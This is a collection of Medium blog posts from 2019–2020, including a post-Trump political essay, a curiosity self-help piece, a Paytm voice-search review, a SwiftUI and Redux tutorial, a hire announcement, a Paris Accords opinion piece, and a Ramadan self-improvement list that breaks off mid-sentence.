Multiple stories were promoted there with photos of Trump’s orange face, his dark blue suits and bright red ties. Many of them didn’t offer much news value and could have been rolled over into another piece. Trump, though, had become a huge asset to the organization, dependable for attracting traffic. I’m looking forward to less orange when I scroll through my news feeds. I’ve always hated that color, and no one can pull it off. He was pure clickbait. He didn’t have to be doing anything spectacular. Just a photo of him making one of his comical faces was enough to pique interest. He was a different kind of disaster, and like a train wreck, he was never dull. That’s when I realized that he had edged out Barack Obama and Beyoncé as the definitive American abroad. To many people outside of my home country, Donald Trump had become the US. The two years I spent traveling around Asia and Europe after leaving Sydney in 2017 — two years in which Trump’s name constantly came up during conversations with locals in the various cities and countries I hit — proved his White supremacy. I’d be lying if I said the shift didn’t benefit me. Some of my biggest stories over the past four years have been about Trump. Although I find plenty of other things to write about, Trump has always been a guaranteed conversation starter. Half of the people who have commented on my viral pieces about him don’t agree with whatever I write, but everyone seems to have an opinion to share. I’m hoping, though, that we are on the precipice of change. As alternately comical and infuriating as the Trump years may have been, as much material as they’ve given me and my colleagues, in the words of the 18th US President Ulysses S. Grant, let us have peace. I’m looking forward to the start of the Age of Joe Biden, the man Trump tagged “Sleepy Joe” and once called “the most boring human being I’ve ever seen.” I’m ready to live in a country, to be from a country, that won’t primarily be seen as a joke for electing a joke to lead it. I’m looking forward to home pages that cover things other than the President’s latest tone-deaf gaffe and the still-constantly mounting evidence of how spectacularly unqualified he is for the office he still holds in his grip. I’m looking forward to reading fewer, if any, headlines with the names Melania Trump, Mike Pence, Ivanka Trump, Jared Kushner, Kayleigh McEnany, Mark Meadows, Kellyanne Conway, Donald Trump Jr., and all of Trump’s other assorted hangers on, like Fox News and Candace Owens. I’m ready for Black lives and other Black celebrities to matter more. I’m looking forward to no longer having to explain to my friends abroad that Trump doesn’t represent or define all Americans. I’m looking forward to a having a leader who will restore some semblance of dignity to the White House when Joe Biden is sworn in as the 46th US president on January 20. I’m looking forward to less orange when I scroll through my news feeds. I’ve always hated that color, and no one can pull it off. I am under no delusion that Biden will bring about peace. Ulysses S. Grant couldn’t do it in 1869, and Biden won’t shut up the Trump brigade. They will continue to huff, puff, and roar. But with their leader out of the White House (and hopefully, headed to the Big House), the mainstream media finally may have the good sense to muffle them, even if Fox News and Twitter continue to give them a voice. I’m not sure what the next four years will hold for my favorite YouTube political pundits like John Iadarola, Brian Tyler Cohen, and David Pakman without President Trump to drive their views. I, for one, have already returned to my previously scheduled online programming (sorry, guys). I feel lighter, happier than I have in four years. The sound of silence can be gorgeous. I’ve always known Black is beautiful, but now I’m learning that boring can be, too. Bring it on.

https://medium.com/@jeremyhelligar/after-trump-im-ready-for-four-years-of-boring-biden-9fec9f6d193b

['Jeremy Helligar']

2020-12-17 12:11:03.789000+00:00

['Politics', 'Culture', 'Election 2020', 'Donald Trump', 'Joe Biden']

How Curiosity Can Improve Your Relationships and Your Life

“I have no special talent. I am only passionately curious.” ~Albert Einstein When speaking to a parent recently, she said, “I have made it a rule that my kids read every day for an hour. There are no two ways about it. They now do it and it is great, but I have noticed that they have stopped asking questions, they have stopped being curious, and they look dull, and that bothers me.” Strange that reading would dull their curiosity instead of sparking it. But beyond that, this conversation got me curious — about curiosity. Why is it important to be curious? And is it even possible to stop being curious? Do you remember when you were a child, just grabbing anything and everything and looking at it from all angles, exploring what it was? Do you remember being obsessed with asking “Why?” till the crack of dawn because you were fascinated with the mystery? Do you remember feeling the wonder in your eye, the sparkle of fascination as you looked at an ant or a worm as if it were magic? As I think about it, I feel like there are two fundamental aspects of living — “being” and “doing.” Curiosity, I feel, is a quality of “being.” Curiosity is taking the time to know something, to revel in the moment with wonder and fascination, to go beyond the limitations of the mind, time, perceptions, rules, and expectations. A curious mind is a mind that expands and grows, a mind that is fascinated with life, that is fully alive and bubbles with questions and wonders. It is a mind that is keen and observes and is limitless. It is a mind that is sharp and sees beyond the obvious. People with curious minds seem to lead fuller lives. If you think about it, they are likely to explore and seize more opportunities because they’re curious about where it could lead, they are likely to connect with more people because they are curious about who and how they are, and they try more new things because they’re curious about how much they can do. I actually think we are born curious, born in wonder, born into this magical place of being. So then, at what point do we stop being curious? My answer was — when we get caught up in the “doing”! Running from pillar to post, taking care of family and work, making ends meet, keeping up with the demands of the world and the ones we place on ourselves, it is not so difficult for the balance of life to tip toward “doing” and more “doing.” Curiosity can take a back seat and monotony can set in sneakily. Curiosity, in my opinion, is that polish that adds a shine to each and every single activity, to the “doing.” Like Brian Grazer says in his book A Curious Mind, we are born curious and no matter how much battering curiosity takes, it’s right there, waiting to be awakened… and that, to me, is fantastic news. So if you would like to awaken your curiosity, feel fascinated, and share this fascination with others, here are a few simple tips. 1. Drop the label. This is a story about the famous Nobel Prize Winner, scientist Richard Feynman. One day when walking in the garden, he asks his father, “What bird is this?” His father says, “It is a brown-throated thrush” and then goes on to say the name in many different languages. Then he looks at Feynman and says, “Now you know absolutely nothing about the bird except the name.” A label closes the mind to an exciting world of possibilities. He is an “alcoholic,” She is a “liar,” I am a “failure” — all these are labels that can trap us into one way of perceiving the world around us and, in fact, our own selves too. There is a lady I know whom I had unknowingly labeled as “annoying.” Every single time she would call, I would say, “She is so annoying.” So it was no surprise that I would get annoyed because I was interacting with the label I had given her and closed doors to any other way of experiencing her. Dropping the label helped me notice that she is so much more — she is funny, she is loving, she is dedicated, she is curious, and much more! Now I still get annoyed sometimes, but it is not the only way I experience her. It feels like a buffet of experiences with her, and I feel freer within myself and more loving toward her, and we in fact share a few laughs every so often. And all I did was get curious and ask myself, “What else is she?” So how do you describe the people and relationships in your life, your work, your circumstances, yourself? And what if you could drop the label of something you think you already know? Look at it as if it were new, as if you knew nothing about it. Drop the label and allow your mind to journey through a world of possibilities. What else could it be? How is this happening? Think wild and think free! 2. Go beyond the limitations of “I am bored” and use the power of “but.” Have you found yourself saying, thinking, or feeling “I am so bored”? Boredom, in my opinion, is poison to curiosity. It limits the mind. Oftentimes, feeling bored is not the problem. The problem is when we stop at that and look no further, when we close the door to an exciting world of possibilities. A little trick is to trick the mind using the power of “but.” Every time you find yourself saying, “I feel bored,” quickly and emphatically add the word “but” after it. I am bored, but let’s do something fun! I feel bored, but how do I even know I am feeling it? “But” negates everything that is before it and brings focus to what is after it. Even if you don’t find a filler after the “but,” just say “but”… and pause…. and see what happens next. Leave that door open. If you think about it, “I’m bored” is such a useless thing to say, isn’t it? We like in such a vast world, and we have barely seen anything, how could one get possibly bored? Look at any situation with curious eyes and allow your mind to wander and create what you want to experience. 3. Question everything with pure fascination. Why are the trees green? Why do birds fly? Why is the sky blue? Why am I not getting that pay raise? Why can’t I lose those ten pounds I want to lose? Why am I doing the job I do now? The key is asking questions with pure fascination, as if you were trying to solve a mystery. Remember, millions of people saw the apple fall, but Newton asked “Why?” Growing up, I was teased about having a flat-ish nose. I felt like I had to have a sharp nose, and my grandmother and I would try to stretch my nose out every morning with oil, as if it were made of clay. Then one day, I remember curiously asking her, “Why is a sharp nose better than a flat one? Do they smell things better?” Now, I don’t remember what she said, but I can tell you that I love my nose now and am quite curious and fascinated by what a funny thing it is. Can you imagine looking at life, relationships, and work with pure fascination? The world becomes a playground of endless possibilities for the mind that is curious and fascinated. So what is one thing in your life you could be fascinated with and curious about, and how could that change things for you?

https://medium.com/@sunitharamadurai/how-curiosity-can-improve-your-relationships-and-your-life-7f1a5d2013b5

['Sunitha Ramadurai']

2020-12-26 10:50:36.164000+00:00

['Freedom', 'Cure Boredom', 'Curiosity', 'Relationships']

Voice in Apps: Paytm Travel

In this week’s ‘Voice in Apps’, we are breaking down the travel domain of one of India’s largest super app, Paytm. For the uninitiated, Slang Labs has started a new series called ‘Voice in Apps’. Every week we take an app which has integrated voice inside it and break it down. We are doing this because we think that it’s important to give recognition to the trendsetters and show how and why they are adding voice inside their apps and what is the result of it. We have already broken down ‘Gaana’ music streaming app by Times Internet and Youtube, the world’s largest video streaming app. Have you noticed the little blue sticker stuck on the walls of shops, behind the seat of the autowaala or at the tapri near your office? Yep! You got it right. We are talking about Paytm, owned by One97 Communications. Paytm saw a growth of 150% in transactions between April 2017 and March 2018. Paytm once limited to Tier 1 towns has gone deep and spread its roots further into Bharat. Paytm has been adding more and more features to its app moving towards ‘One app does all’ or super-app model. This model has been tremendously successful with apps like Alipay, Wechat in China and Grab and Gojek in south-east Asia, doing it all from food deliveries to payments. Paytm Travel There is a fundamental problem with super apps, the more services that are added, the more complex the app gets. The video below shows how many services the Paytm app has right now, and how it cumbersome it is to find them. Video showing all the services present in the Paytm App Why is Bharat important for Paytm Travel? According to Paytm’s Vice President and Head of Paytm Travel Abhishek Rajan, “The maximum growth will come from regional languages hopefully going forward with Paytm’s increasing penetration in tier-II and tier-III cities. The next set of users coming online are from regions where they are comfortable in their native languages. So the use of regional language will become higher than what it is today.” Tier 3 cities and Tier 2 cities have seen a growth of nearly 100% and 75% in ticket booking by the use of regional languages. Paytm recently launch voice search for train booking witnessing this trend. They also noticed that people tried to type what they thought of. One such example Rajan gave was, people were typing Delhi ‘se’ Kanpur while searching. Paytm Voice Search Let’s look at how Paytm has enabled Voice search in their apps to reach the Next Billion Users from Bharat. Visual Breakdown: New User eXperience/ Onboarding people on voice: From the perspective of marketing, Paytm has been informing the users about Voice Search feature through periodic notification alert. Along with this, they also have a running banner on the homepage of the app. On the UI front, when a person comes on the train booking page, there are coach marks which explain the capabilities of the voice search. In addition to this, whenever the user clicks on the source and destination city, they see a mic button right next to the text field nudging user towards trying it out. The mic button next to the station search field Voice Search UI Mic button is placed next to the search field. On clicking the mic button, you hear a familiar ting, and it opens up a waveform UI which covers nearly half of the screen. It shows “Please say your source city/station name or code”. Even if you change the language of the app, the prompt remains in English. Functional Breakdown: Compound Sentences: A user can say origin station and destination station in one sentence with conjunctions in both English and Hind, e.g. ‘se’ and ‘to’. A user could also choose to give just the origin or the destination city one at a time. Image showing the ability to speak compound sentences with both English and Hindi conjunctions The ability to say sentences with multiple entities (entities are variables in a sentence like a source and destination city) makes it more natural and allows the user to express the intent in the same way he/she is thinking. No Voice to Action: Unlike Gaana or YouTube, which take some action like playing a song and seeing watch history on the voice search, Paytm doesn’t take a transactional action. Instead, it shows a drop-down list with the possible station matches where the user can select the closest match. This approach is unconventional to what other companies like Gaana and YouTube have been taking. They believe in a voice to command model, at which point if the user has a clear intent, the action is taken, prioritizing action over accuracy. What’s still missing? Multilingual support: Ability to do the searches and navigation via voice in different Indian languages like Hindi and Tamil. With 400% YoY increase in Hindi searches, it is necessary to make the search at least bilingual. Better NLP capabilities: The NLP capabilities of the voice search can be improved significantly. It will allow the users to speak free form sentences and ask to book tickets without being constraint by a boundary. Slang allows you to add voice search in multiple Indian languages in a fraction of the time with inbuilt analytics to gauge how users are using it. It also gives businesses the ability to add more voice-enabled functions quickly to the app.

https://medium.com/slanglabs/voice-in-apps-paytm-travel-5bee6aea76dc

['Vinayak Jhunjhunwala']

2020-04-22 14:11:10.425000+00:00

['Next Billion Users', 'Travel App', 'Paytm', 'UX', 'Apps']

Baby stories

It is cliched and it might be redundant. But the amount of knowledge that my baby has imparted to me is almost boundless. I never knew so many of the things that have become routine with me today, and I have only my 8m old daughter to thank for for all those. Of course, as it is with learning, it is never a rosy path. It is a bumpy ride filled with happiness and depressing moments, successes and failures and a whole wide array of emotions which were completely foreign to me. My intent with this new little venture that I am about to take up is to highlight some of those moments where I learnt something new about my baby (rather she taught me due to her persistence). And to share those so that if at all they sound even remotely familiar as you go through your journey with your little one, it might strike a chord with you. Of course, and you will hear this so often, every baby is different so don’t hold me at gun point if the things I mention did not work for you, for even for me, these things only work like 70% of the times, and the rest of the times, I am mostly trying to wing it as it comes. But since these anecdotes make up for a fun story, and since Medium publishes them as stories, and since I want to get back to writing after a long long hiatus (thanks again to my little one), here is my attempt to publish the journey as small stories. I will try to keep this updated and refreshed as and when it is possible, but at least at the onset, I wish to have this as a running feature. Let us wait and watch :)

https://medium.com/@gadgilsanjeev/baby-stories-eceee9d69984

['Sanjeev Gadgil']

2019-06-02 23:00:10.423000+00:00

['Baby', 'Parenting', 'Writing']

Let’s Create Training App For IOS Using Swift UI Interaction With Redux.

In this article we will talk about the SwiftUI framework in conjunction with Redux. This pair allows us to create applications quickly and easily. SwiftUI is used to create a declarative style user interface, unlike UIKit. Redux, in turn, serves to control the state of the application. State is a fundamental concept in SwiftUI and Redux. In our case, this is not only a buzzword, but also an entity that connects them and allows them to work very well together. In this article we will try to show that the thesis above is true, so let’s get started! Before we go deeper into writing code, first let’s understand what Redux is and what it consists of. Redux s an open source library for managing the state of an application. It is most often used in conjunction with React or Angular to develop the client side. It contains a number of tools to significantly simplify the transfer of storage data through the context. Its creators are Daniil Abramov and Andrew Clark. For us, Redux is not just a library, it is already something more. We attribute it to the architectural decisions which the application is based on, primarily due to its unidirectional data stream. Multidirectional or unidirectional flow To explain what we mean by data flow, we will give the following example. An application that created using VIPER supports a multidirectional data flow between modules: Redux, in turn, is a unidirectional data stream and is easiest to explain on the basis of its constituent components. Let’s talk in some more detail about each Redux component. State is the only source of truth that contains all the necessary information for our application. Action is the intention to change state. In our case, this is an enumeration that contains new information that we want to add or change in the current State. Reducer is a function that takes Action and current State as parameters and returns a new State. This is the only way to create it. It is also worth noting that this feature should be clean. Store is an object that contains State and provides all the necessary tools for updating it. That would probably be enough for the first go at theory, let’s now move on to practice. Redux implementation One of the easiest ways to get to know a tool is to start using it. Everyone knows that if you want to learn a programming language, you should write an application in it. So let’s create a small application, for example a simple training diary. It will have only four options, — the first is to display a list of workouts, the second is to add a completed workout, the third is to delete and the fourth is to sort workouts. A pretty simple application, but at the same time it will allow us to get acquainted with Redux and SwiftUI. Create a clean project in Xcode, give it a name WorkoutsDiary, and, most importantly, select SwiftUI for the User Interface. After creating the project, create a Workout structure that will be responsible for the workout that we performed. import Foundation struct Workout: Identifiable { let id: UUID = .init() let name: String let distance: String let date: Date let complexity: Complexity } As you can see, there is nothing complicated in this structure, the id field is required to comply with the Identifiable protocol, and the complexity field is just an enum with the following definition: enum Complexity: Int { case low case medium case high } Now we have everything we need to start implementing Redux. Let’s start by creating a State. struct AppState { var workouts: [Workout] var sortType: SortType? } State is a simple structure that contains two fields: workouts and sortType. The first is a list of workouts, and the second is an optional field that determines how the list is sorted. SortType is an enumeration that is defined as follows: enum SortType { case distance case complexity } For simplicity, we will sort by distance and difficulty in descending order. That means that the higher the complexity of our training, the higher it will be displayed in our list. It is worth noting that sortType is an optional type and it can be nil, which means that the list is not sorted at the moment. We will continue the implementation of our components. Let’s create an Action: enum Action { case addWorkout(_ workout: Workout) case removeWorkout(at: IndexSet) case sort(by: SortType) } As we can see, Action is an enumeration with three cases that give us an ability to manipulate our State. addWorkout (_ workout: Workout) simply adds a workout that is passed as a parameter. removeWorkout (at: IndexSet) removes the item at the specified index. sort (by: SortType) sorts the training list by the specified sort type. Let’s create one of the most complex components. It is Reducer: func reducer(state: AppState, action: Action) -> AppState { var state = state switch action { case .addWorkout(let workout): state.workouts.append(workout) case .removeWorkout(let indexSet): state.workouts.remove(atOffsets: indexSet) switch type { case .distance: state.workouts.sort { $0.distance > $1.distance } state.sortType = .distance case .complexity: state.workouts.sort { $0.complexity.rawValue > $1.complexity.rawValue } state.sortType = .complexity } } return state } The function we wrote is quite simple and works as follows: It copies the current State to work with it. 2. Based on Action, we update our copied State. 3. We return the updated State. It should be pointed out that the function above is a pure function, and that is what we wanted to achieve! A function must meet two conditions in order to be considered “pure”: Each time, the function returns the same result when it is called with the same data set. There are no side effects. The last missing Redux element is the Store, so let’s implement it for our application. final class Store: ObservableObject { @Published private(set) var state: AppState init(state: AppState = .init(workouts: [Workout]())) { self.state = state public func dispatch(action: Action) { state = reducer(state: state, action: action) } } In the implementations of the Store object, we use all the advantages of the ObservableObject protocol, which allows us to exclude the writing of a large amount of template code or the use of third-party frameworks. The State property is read-only and uses the wrapper of the @Published property, which means that whenever it is changed, SwiftUI will receive notifications. The init method takes an initial state as a parameter with a given default value in the form of an empty array of Workout elements. The dispatch function is the only way to update the state: it replaces the current state with the new one created by the reducer function, based on the Action, which is passed as a parameter. After we implemented all the components of Redux, we can begin to create a user interface for our application. Application implementation The user interface of our application will be quite simple. And it will consist of two small screens. The first and the main one is a screen that will display a list of workouts. The second screen is an add workout screen. Also, each element will be displayed in a certain color, the color will reflect the complexity of the workout. The red cells indicate the highest difficulty of the workout, orange is responsible for the average difficulty and green shows the easiest workout. We will implement the interface using a new framework from Apple called SwiftUI. SwiftUI comes to replace our familiar UIKit. SwiftUI is fundamentally different from UIKit, primarily in that it is a declarative approach to writing UI elements with code. In this article, we will not delve into all the intricacies of SwiftUI and we assume that you already have experience with SwiftUI. If you do not have knowledge of SwiftUI, we advise you to pay attention to the documentation from Apple, namely, look at their several complete tutorials with step-by-step addition and interactive display of the result on view. There are also links to example projects. These tutorials will let you dive quickly into the declarative world of SwiftUI. It should be borne in mind that SwiftUI is not yet ready for production projects, it is too young and more than a year will pass before it can be used in this way. Also, do not forget that it only supports iOS 13.0+ versions. But it is also worth noting that SwiftUI will work on all Apple platforms, which is a big advantage over UIKit! Let’s start the implementation from the main screen of our application. Go to the file ContentView.swift and change the current code to the following one: struct ContentView: View { @EnvironmentObject var store: Store @State private var isAddingMode: Bool = false var body: some View { NavigationView { WorkoutListView() .navigationBarTitle("Workouts diary", displayMode: .inline) .navigationBarItems( leading: AddButton(isAddingMode: self.$isAddingMode), trailing: TrailingView() ) } .sheet(isPresented: $isAddingMode) { AddWorkoutView(isAddingMode: self.$isAddingMode) .environmentObject(self.store) } } } Content View is a standard view in SwiftUI. The most important part, from our point of view, is the line of code that contains the store variable. We will create @EnvironmentObject. This will allow us to use data from the Store wherever it is necessary, and in addition, it will automatically update our views if the data is changed. This is something like Singleton for our Store. @EnvironmentObject var store: Store The following line of code is important: @State private var isAddingMode: Bool = false @State is a wrapper that we can use to indicate the state of a View. SwiftUI will store it in a special internal memory outside the View structure. Only a linked View can access it. As soon as the value of the State property changes, SwiftUI rebuilds the View to account for state changes. Then we will go to the SceneDelegate.swift file and add the code to the method: func scene( _ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions ) { let contentView = ContentView().environmentObject(Store()) if let windowScene = scene as? UIWindowScene { let window = UIWindow(windowScene: windowScene) window.rootViewController = UIHostingController(rootView: contentView) self.window = window window.makeKeyAndVisible() } } In the same way, any @EnvironmentObject can be passed to any child representation in the entire application, and all this is possible thanks to the Environment. The variable isAddingMode is marked State and indicates whether the secondary view is displayed or not. The store variable is automatically inherited by WorkoutListView, and we do not need to pass it explicitly, but we need to do this for AddWorkoutView, because it is presented in the form of a sheet that is not a child of the ContentView. Now create a WorkoutListView that will inherit from View. Create a new swift file called WorkoutListView. struct WorkoutListView: View { @EnvironmentObject var store: Store var body: some View { List { ForEach(store.state.workouts) { WorkoutView(workout: $0) } .onDelete { self.store.dispatch(action: .removeWorkout(at: $0)) } .listRowInsets(EdgeInsets()) } } View, which uses the container List element to display a list of workouts. The onDelete function is used to delete a workout and uses the removeWorkout action, which is performed using the dispatch function provided by the store. To display the workout in the list, WorkoutView is used. Create another file WorkoutView.swift which will be responsible for displaying our item in the list. struct WorkoutView: View { let workout: Workout private var backgroundColor: Color { switch workout.complexity { case .low: return .green case .medium: return .orange case .high: return .red } } var body: some View { HStack { VStack(alignment: .leading) { Text(workout.name) Text("Distance:" + workout.distance + "km") .font(.subheadline) } Spacer() VStack(alignment: .leading) { Text(simpleFormat(workout.date)) } } .padding() .background(backgroundColor) } } private extension WorkoutView { func simpleFormat(_ date: Date) -> String { let dateFormatter = DateFormatter() dateFormatter.dateFormat = "dd MMM yyyy" dateFormatter.locale = .init(identifier: "en_GB") return dateFormatter.string(from: date) } } This view takes the training object as a parameter and is configured based on its properties. To add a new item to the list, you must change the isAddingMode parameter to true to display AddWorkoutView. This responsibility lies with AddButton. struct AddButton: View { @Binding var isAddingMode: Bool var body: some View { Button(action: { self.isAddingMode = true }) { Image(systemName: "plus") } } } AddButton is also worth putting into a separate file. This view is a simple button that has been extracted from the main ContentView for better structure and code separation. Create a view to add a new workout. Create a new AddWorkoutView.swift file: struct AddWorkoutView: View { @EnvironmentObject private var store: Store @State private var nameText: String = "" @State private var distanceText: String = "" @State private var complexityField: Complexity = .medium @State private var dateField: Date = Date() @Binding var isAddingMode: Bool var body: some View { return .red } } var body: some View { NavigationView { Form { TextField("Name", text: $nameText) TextField("Distance", text: $distanceText) Picker(selection: $complexityField, label: Text("Complexity")) { Text("Low").tag(Complexity.low) Text("Medium").tag(Complexity.medium) Text("High").tag(Complexity.high) } DatePicker(selection: $dateField, displayedComponents: .date) { Text("Date") } } .navigationBarTitle("Workout Details", displayMode: .inline) .navigationBarItems( leading: Button(action: { self.isAddingMode = false }) { Text("Cancel") }, trailing: Button(action: { let workout = Workout( name: self.nameText, distance: self.distanceText, date: self.dateField, complexity: self.complexityField ) self.store.dispatch(action: .addWorkout(workout)) self.isAddingMode = false }) { Text("Save") } .disabled(nameText.isEmpty) ) } } This is a fairly large controller which, like other controllers, contains the store variable. It also contains the variables nameText, distanceText, complexityField, and isAddingMode. The first three variables are necessary for linking TextField, Picker, DatePicker, which can be seen on this screen. The navigation bar has two elements. The first button is a button that closes the screen without adding a new workout, and the last one adds a new workout to the list, which is achieved by sending the addWorkout action. This action also closes the new workout screen. Last but not least is TrailingView. struct TrailingView: View { @EnvironmentObject var store: Store var body: some View { HStack(alignment: .center, spacing: 30) { Button(action: { switch self.store.state.sortType { case .distance: self.store.dispatch(action: .sort(by: .distance)) default: self.store.dispatch(action: .sort(by: .complexity)) } }) { Image(systemName: "arrow.up.arrow.down") } EditButton() } } } This view consists of two buttons that are responsible for sorting the workout list and for activating or deactivating the editing mode of our workout list. Sort actions are called using the dispatch function, which we can call through the store property. Result The application is ready and should work exactly as expected. Let’s try to compile and run it. Conclusion Redux and SwiftUI work very well together. Code written using these tools is easy to understand and can be well organized. Another good aspect of this solution is its excellent code testability. However, this solution is not without drawbacks. One of them is a large amount of memory used by the application when the State of the application is very complex, and application performance may not be ideal in some specific scenarios, since all Views in SwiftUI are updated when creating a new State. These shortcomings can have a big impact on the quality of the application and user interaction, but if we remember them and prepare the state in a reasonable way, the negative impact can be easily minimized or even avoided. We hope that you have liked this article and learned something new. See you soon. The subjects that we are going to speak about further will be even more interesting ;) Gain Access to Expert View — Subscribe to DDI Intel

https://medium.com/datadriveninvestor/lets-create-training-app-for-ios-using-swift-ui-interaction-with-redux-f0314c731732

['Taras Tymoshchuck']

2020-06-29 12:29:40.721000+00:00

['Swift', 'Programming', 'iOS', 'App Development', 'Coding']

Somewhere only we know. It’s Christmas 2020 today. Staying at…

It’s Christmas 2020 today. Staying at home in this Covid year. What better way to sum it up than with a Christmas Advert Song? It’s precisely described how I felt for a long time. Somewhere only we know Lyrics — I walked across an empty land I knew the pathway like the back of my hand I felt the earth beneath my feet Sat by the river, and it made me complete Oh, simple thing, where have you gone? I’m getting old, and I need something to rely on So tell me when you’re gonna let me in I’m getting tired, and I need somewhere to begin I came across a fallen tree I felt the branches of it looking at me Is this the place we used to love? Is this the place that I’ve been dreaming of? Oh, simple thing, where have you gone? I’m getting old, and I need something to rely on So tell me when you’re gonna let me in I’m getting tired, and I need somewhere to begin And if you have a minute, why don’t we go Talk about it somewhere only we know? This could be the end of everything So why don’t we go Somewhere only we know? Oh, simple thing, where have you gone? I’m getting old, and I need something to rely on So tell me when you’re gonna let me in I’m getting tired, and I need somewhere to begin And if you have a minute, why don’t we go Talk about it somewhere only we know? This could be the end of everything So why don’t we go? So why don’t we go? This could be the end of everything So why don’t we go Somewhere only we know Somewhere only we know Somewhere only we know?

https://medium.com/@ziming/this-could-be-the-end-of-everything-b6bed9411478

['Ziming Lan']

2020-12-27 14:51:30.253000+00:00

['Hope', 'Misunderstanding', 'Christmas', 'Endings', 'Resolutions']

Lauren Larson Diehl, VP of Customer Success

Today we are excited to announce that Lauren Larson Diehl is joining Synapse as Vice President of Customer Success. Lauren comes to Synapse with 20 years’ experience in enterprise customer success management. Her most recent role at Oracle was Senior Director, Global Customer Success Management, where she ensured the integrity of Oracle’s global strategy for international enterprise customers. At Synapse, Lauren will lead all of our customer-facing teams, including Customer Success, Customer Service and Implementation, with the goal to unify our customer teams to better delight our customers and help them achieve success with Synapse. As Lauren commented, I am excited to join the leadership team at Synapse to drive Customer Success to the next level. We will focus on delighting our customers and enabling greater success through innovation, education and collaboration, which will lay our foundation for growth. I believe that with passion, purpose and persistence you can achieve anything, and the collective enthusiasm at Synapse around democratizing access to banking can help to empower the world. Lauren is an experienced Customer Success leader with a proven track record in building robust customer success programs and infrastructure, and we welcome her leadership as we move into our next phase of growth. Welcome, Lauren!

https://medium.com/synapsefi/lauren-larson-diehl-vp-of-customer-success-c323379f32fc

['Sankaet Pathak']

2020-10-23 18:29:55.238000+00:00

['Banking', 'Fintech', 'Customer Success']

When agreeing to do something is not doing something

Listened to an interview with the UN Secretary General this morning and came away more frustrated than ever about climate change. The core of the interview was about the progress of the Paris Accords that so many people debate, support, oppose, etc. Let me summarize with out the SG’s sunny equivocation. Q Are we making progress toward Paris Accord limits in climate temperature rise to 1.5 degrees C by 2050? A No. Q Is the 1.5 degree target realistic? A No. Q Are we approaching the zero-carbon target by 2050? A No. Q So what are we doing? A We are getting more countries to say they will do something…eventually. I’ve never been a fan of international agreements, because they are rarely adhered to by anyone in the agreement. Moreover, the measurement of the morality of a country is based on saying they will do something and not on whether they actually adhere to the agreement. To date, since the signing of the Kyoto Accords, signer China has become the largest producer of greenhouse gasses, ahead of the US by twice the tonnage. Per capita production of CO2 in China has increased 255 percent while the US, which is not part of either the Kyoto or Paris agreements, has reduced production by 17 percent. And yet it is the United States that gets the onus for not signing a piece of paper, even though we are actually doing something to fix the problem. The US is not the only country to reduce production. It is, in fact, one of two of the top 10 economies to do so. The other is the United Kingdom. The US is also one of only 20 countries in the world to reduce emissions since 2000. Everyone else has increased. India and Australia, also signers of both agreements, have also increased to the point that they have entered the top five producers. At current rates, India will overtake the US in second place within five years and Australia will be nipping at the US heels for third place. That does not mean the the ideals of the Paris Agreements are bad or unattainable. It does mean that actions reveal more than words.

https://medium.com/@loucovey-29676/when-agreeing-to-do-something-is-not-doing-something-ca5b98b3c86a

['Lou Covey']

2020-12-11 16:37:59.762000+00:00

['Climate Action', 'Paris Agreement', 'Greenhouse Gas Emissions', 'Climate Change']

Ramadan 2019: 30 Self Improvement Ideas

With all the various blessings of the month of Ramadan, we also get to face certain challenges. One of the major challenges we face during Ramadan is to maximize our efforts towards goodness while engaging ourselves in productive activities to make self improvements & get the best reward from this month, Ramadan 2019. While progressing on the right path, you get the chance to purify your soul, cleanse your heart and maintain a healthy body to live a better life for your own self-development and goodness. We all must aim to live our life in a better way by adopting some ideas to make self-improvements in ourselves. Here are 30 best self-improvement ideas for Ramadan 2019: Give gratitude Every time you feel like complaining about something, instead think of something good in your life and say Alhamdulillah for it. Even in an unfavorable situation, think that Allah has chosen you for this test and you will make through it instead of complaining to Allah. Show your gratitude to all the people around you as well. Take action Ramadan brings unlimited blessings in limited days. What else would a Muslim need to be pushed to take blissful action? Instead of lecturing others and procrastination, take quick actions to make yourself a better Muslim than you already are. Strive to make each day better than the previous one and do one extra good deed every day. Stay organized Ramadan 2019 is the best time to become (and stay) organized. Organize your belongings in such a way to waste minimum time on needless things and become a productive Muslim. Time management With the routine of Suhoor, Iftar, and Taraweeh you are not allowed to make any excuse to waste your time. This Ramadan learn to plan your activities around the fixed hours to get the most out of this blessed month. Sleep with Wudhu There are a lot of spiritual, mental and physical benefits of performing ablution before sleeping. Try to build this habit in Ramadan to reap these benefits. Build positive habits Do not overburden yourself with habits that you will not be able to sustain throughout the year. Instead promise yourself little new habit such as offering additional Nawafil with every prayer and reciting extra Rukuh next day, so that you can carry on these habits throughout the year. Plan a smart budget Invest your wealth and budget for charity, knowledge-building and helping others to make your life in this world and hereafter better. Be smart in planning the resources instead of just spending on cleaning, shopping, and cooking. Rely only upon Allah Stop fearing judgment and criticism from people. Utilize this month to learn to rely solely upon Allah and trust only the All-seeing, All-hearing and All-knowing. Ask him for every need as He is independent having the control of everything and is capable of doing everything. Share one Ayat or Hadith Throughout the year, we share or post so many jokes and quotations with everyone and it begets no benefit at all. Try to build a habit of sharing one Ayat/Hadith with others every day. Everyone who reads it will add to your reward, and it will also serve as a reminder for you. Be moderate Just plowing our mouth with food is contrary to what Ramadan is about; the best thing that Ramadan teaches us is self-control. Stick to the rules and guidelines of Prophet PBUH. Fill your stomach with one-third of food, water, and breathing space. Give charity every day Give charity every day as per your budget; be generous just like the Prophet. Allah has promised to reward ten times better than what we give. Even a single penny you give will add up to your blessings manifold. Memorize new Surah Memorizing Quran seems difficult to most of the people. Start with smaller portions; memorize a few verses every day. Repeating the verses in prayers is a good way of reinforcing and revising it. Once you build the momentum, you can even carry this routine after Ramadan. Pray Tarawih Community spirit is an important part of Ramadan’s blessings. Allah has mentioned a lot of promises for those who do Qayaam during nights of Ramadan; if you are unable to pray additional prayers during the night, at least make an effort to pray Tarawih with the congregation. Stop backbiting and swearing It’s hard to stay quiet when something unfair happens to us, but think of the reward you will get from Allah if you abstain from swearing and backbiting. Ramadan is all about doing jihad against the bad habits, so use Ramadan 2019 as a chance to stop these bad habits. Give away for negligence Make a DIY sadqa box for yourself; whenever you find yourself tempted to do something which is forbidden, put some money in it, no matter if its s single penny or more than that. Give this money in charity or give it to someone in need. This is a good self-improvement idea to get rid of persistent habits. Mend your broken relationships It is easy to say that if someone is not making an effort to mend a broken relationship, why should I do it? But, if you are one to take the first initiative, your reward will be increased manifold. Give your ego a break and reinstate broken friendships and relationships. Try technology cut-off Ramadan is a good time to break your screen addiction. Avoid surfing on the internet or TV while you are fasting. The whole point is 